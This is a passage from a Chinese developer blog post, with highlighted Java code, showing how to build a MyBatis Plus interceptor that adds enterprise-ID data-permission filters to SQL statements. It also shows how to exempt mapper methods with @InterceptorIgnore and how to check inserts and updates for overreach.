select.getSelectBody();</span><br><span class="line">        <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> PlainSelect) &#123;</span><br><span class="line">            <span class="built_in">this</span>.setWhere((PlainSelect) selectBody, (String) obj);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> SetOperationList) &#123;</span><br><span class="line">            <span class="type">SetOperationList</span> <span class="variable">setOperationList</span> <span class="operator">=</span> (SetOperationList) selectBody;</span><br><span class="line">            List&lt;SelectBody&gt; selectBodyList = setOperationList.getSelects();</span><br><span class="line">            selectBodyList.forEach(s -&gt; <span class="built_in">this</span>.setWhere((PlainSelect) s, (String) obj));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 新增</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">processInsert</span><span class="params">(Insert insert, <span class="type">int</span> index, String sql, Object obj)</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnsupportedOperationException</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 删除</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">processDelete</span><span class="params">(Delete delete, <span class="type">int</span> index, String sql, Object obj)</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">Expression</span> <span class="variable">sqlSegment</span> <span class="operator">=</span> getUpdateOrDeleteExpression(delete.getTable(), delete.getWhere(), (String) obj);</span><br><span class="line">        <span class="keyword">if</span> (<span class="literal">null</span> != sqlSegment) &#123;</span><br><span class="line">            delete.setWhere(sqlSegment);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 更新</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">processUpdate</span><span class="params">(Update update, <span class="type">int</span> index, String sql, Object obj)</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">Expression</span> <span class="variable">sqlSegment</span> <span class="operator">=</span> getUpdateOrDeleteExpression(update.getTable(), update.getWhere(), (String) obj);</span><br><span class="line">        <span class="keyword">if</span> (<span class="literal">null</span> != sqlSegment) &#123;</span><br><span class="line">            update.setWhere(sqlSegment);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置 where 条件</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> plainSelect  查询对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> whereSegment 查询条件片段</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">setWhere</span><span class="params">(PlainSelect plainSelect, String whereSegment)</span> &#123;</span><br><span class="line">        <span class="type">Table</span> <span class="variable">table</span> <span class="operator">=</span> (Table) plainSelect.getFromItem();</span><br><span class="line">        <span class="type">Expression</span> <span class="variable">sqlSegment</span> <span class="operator">=</span> dataPermissionHandler.getSqlSegment(table, plainSelect.getWhere(), whereSegment);</span><br><span class="line">        <span class="keyword">if</span> (<span class="literal">null</span> != sqlSegment) &#123;</span><br><span class="line">            plainSelect.setWhere(sqlSegment);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">protected</span> Expression <span class="title function_">getUpdateOrDeleteExpression</span><span class="params">(<span class="keyword">final</span> Table table, <span class="keyword">final</span> Expression where, <span class="keyword">final</span> String whereSegment)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> dataPermissionHandler.getSqlSegment(table, where, whereSegment);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="核心，进行sql重新封装的处理">核心，进行sql重新封装的处理</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.vo.SysUser;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.constant.StringPool;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.StrUtil;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfoHelper;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.JSQLParserException;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Expression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.ExpressionList;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.InExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.ItemsList;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.parser.CCJSqlParserUtil;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.LinkedList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Optional;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 CustomPermissionHandler</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomPermissionHandler</span> <span class="keyword">implements</span> <span class="title class_">AllbsDataPermissionHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">DEFAULT_FILTER_FIELD</span> <span class="operator">=</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取数据权限 SQL 片段</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> where             待执行 SQL Where 条件表达式</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mappedStatementId Mybatis MappedStatement Id 根据该参数可以判断具体执行方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> JSqlParser 条件表达式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Expression <span class="title function_">getSqlSegment</span><span class="params">(<span class="keyword">final</span> Table table, Expression where, String mappedStatementId)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 在有权限的情况下查询用户所关联的企业列表</span></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行，执行原sql</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> where;</span><br><span class="line">        &#125;</span><br><span class="line">        Set&lt;Long&gt; permissionEntList = sysUser.getEntIdList();</span><br><span class="line"><span class="comment">//        if (permissionEntList.size() == 0) &#123;</span></span><br><span class="line"><span class="comment">//            return where;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(table.getName());</span><br><span class="line">        <span class="type">String</span> <span class="variable">fieldName</span> <span class="operator">=</span> tableInfo.getFieldList().stream()</span><br><span class="line">                .filter(a -&gt; a.getField().getAnnotation(ScopeField.class) != <span class="literal">null</span>)</span><br><span class="line">                .map(a -&gt; a.getField().getAnnotation(ScopeField.class).value())</span><br><span class="line">                .findFirst()</span><br><span class="line">                .orElse(DEFAULT_FILTER_FIELD);</span><br><span class="line">        <span class="type">Alias</span> <span class="variable">fromItemAlias</span> <span class="operator">=</span> table.getAlias();</span><br><span class="line">        <span class="type">String</span> <span class="variable">finalFieldName</span> <span class="operator">=</span> Optional.ofNullable(fromItemAlias).map(a -&gt; a.getName() + StringPool.DOT + fieldName).orElse(fieldName);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (permissionEntList.size() &gt; <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="comment">// 把集合转变为 JSQLParser需要的元素列表</span></span><br><span class="line">            <span class="type">InExpression</span> <span class="variable">inExpression</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InExpression</span>(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName), getItemList(permissionEntList));</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 组装sql</span></span><br><span class="line">            <span class="keyword">return</span> where == <span class="literal">null</span> ? inExpression : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, inExpression);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 设置where</span></span><br><span class="line">        <span class="type">EqualsTo</span> <span class="variable">equalsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">        equalsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName));</span><br><span class="line">        equalsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(permissionEntList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">        <span class="keyword">return</span> where == <span class="literal">null</span> ? equalsTo : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, equalsTo);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> ItemsList <span class="title function_">getItemList</span><span class="params">(Set&lt;Long&gt; permissionEntList)</span> &#123;</span><br><span class="line">        List&lt;Expression&gt; list = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (Long aLong : permissionEntList) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">Expression</span> <span class="variable">expression</span> <span class="operator">=</span> CCJSqlParserUtil.parseCondExpression(StrUtil.join(<span class="string">&quot;,&quot;</span>, aLong));</span><br><span class="line">                list.add(expression);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (JSQLParserException e) &#123;</span><br><span class="line">                log.error(<span class="string">&quot;筛选数据转换为表达式失败!&quot;</span> + e.getLocalizedMessage());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ExpressionList</span>(list);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最后将改插件注册进mybatis-plus即可">最后将改插件注册进mybatis plus即可</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Bean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 MybatisPlusCustomConfig</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MybatisPlusCustomConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> MybatisPlusInterceptor <span class="title function_">customMybatisPlusInterceptor</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">MybatisPlusInterceptor</span> <span class="variable">interceptor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MybatisPlusInterceptor</span>();</span><br><span class="line">        <span class="comment">// 数据权限</span></span><br><span class="line">        <span class="type">DataPermissionInterceptor</span> <span class="variable">dataPermissionInterceptor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataPermissionInterceptor</span>(<span class="keyword">new</span> <span class="title class_">CustomPermissionHandler</span>());</span><br><span class="line">        interceptor.addInnerInterceptor(dataPermissionInterceptor);</span><br><span class="line">        <span class="keyword">return</span> interceptor;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="说明">说明</h2><ul><li><p>所有sql将默认拦截并自动拼接筛选条件</p></li><li><p>如果想要对部分sql不进行筛选，则在dao层的类名上添加注解<code>@InterceptorIgnore</code>或者dao层的某个方法上添加注解<code>@InterceptorIgnore</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/0750a9cde20f3fb496ffbf4f5c0791ca.png" alt="image-20230329160332316"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/0d97d5d9ac557e4001682a8eaf38a5ca.png" alt="image-20230329160430182"></p></li><li><p>如果想要使用mybatis plus自带的sdk并使其中某些方法不进行数据筛选，则重新写一个接口集成BaseMapper,单独对其中的某个方法添加注解。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/c73958788a4ba3768dd7ad5fda328d40.png" alt="image-20230329160614364"></p></li></ul><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/8b2594291323adadbb4b28f86fbcb548.png" alt="image-20230329160634276"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.InterceptorIgnore;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.conditions.Wrapper;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.mapper.BaseMapper;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.IPage;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.Constants;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.annotations.Mapper;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.annotations.Param;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DataScopeMapper</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DataScopeMapper</span>&lt;T&gt; <span class="keyword">extends</span> <span class="title class_">BaseMapper</span>&lt;T&gt; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 根据 ID 查询</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> id 主键ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="meta">@InterceptorIgnore</span></span><br><span class="line">    T <span class="title function_">selectById</span><span class="params">(Serializable id)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 根据 entity 条件，查询全部记录</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> queryWrapper 实体对象封装操作类（可以为 null）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    List&lt;T&gt; <span class="title function_">selectList</span><span class="params">(<span class="meta">@Param(Constants.WRAPPER)</span> Wrapper&lt;T&gt; queryWrapper)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 根据 entity 条件，查询全部记录（并翻页）</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> page         分页查询条件（可以为 RowBounds.DEFAULT）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> queryWrapper 实体对象封装操作类（可以为 null）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    &lt;P <span class="keyword">extends</span> <span class="title class_">IPage</span>&lt;T&gt;&gt; P <span class="title function_">selectPage</span><span class="params">(P page, <span class="meta">@Param(</span></span></span><br><span class="line"><span class="meta"><span class="params">        Constants.WRAPPER)</span> Wrapper&lt;T&gt; queryWrapper)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>可以进行功能反转，比如目前是全部sql拦截，添加注解不拦截。可以修改<code>beforePrepare</code>使其默认全部不拦截，添加了该注解的方法拦截sql并重新组装。</li><li>如果不想违反mybatis plus注解本意，可以重新自定义一个注解来达成上述效果，本文不做展示，参考上一篇即可实现。</li></ul><h2 id="添加新增、更新、批量新增、批量更新的数据过滤">添加新增、更新、批量新增、批量更新的数据过滤</h2><h2 id="使用">使用</h2><p><code>AllbsDataPermissionHandler</code>添加两个方法用于处理新增和更新。具体实现效果看</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 新增数据时 判断是否存在越权行为，如果存在这种行为则进行拦截并重组sql</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> insertStmt Insert</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> boundSql   BoundSql</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">insertParameter</span><span class="params">(Insert insertStmt, BoundSql boundSql)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 更新数据时 判断是否存在越权行为，如果存在这种行为则进行拦截并重组sql</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> updateStmt      Update</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mappedStatement MappedStatement</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> boundSql        BoundSql</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">updateParameter</span><span class="params">(Update updateStmt, MappedStatement mappedStatement, BoundSql boundSql)</span>;</span><br></pre></td></tr></table></figure><p><code>CustomPermissionHandler</code>的实现</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.datascope.mapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.utils.SecurityUtils;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.allbsjwt.config.vo.SysUser;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.constant.StringPool;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.datascope.DataPmsHandler;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.datascope.ScopeField;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.execption.UserOverreachException;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.utils.PluginUtils;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableFieldInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfo;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.metadata.TableInfoHelper;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Alias;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Expression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.LongValue;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.conditional.AndExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.EqualsTo;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.operators.relational.InExpression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Column;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.insert.Insert;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.update.Update;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.BoundSql;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span 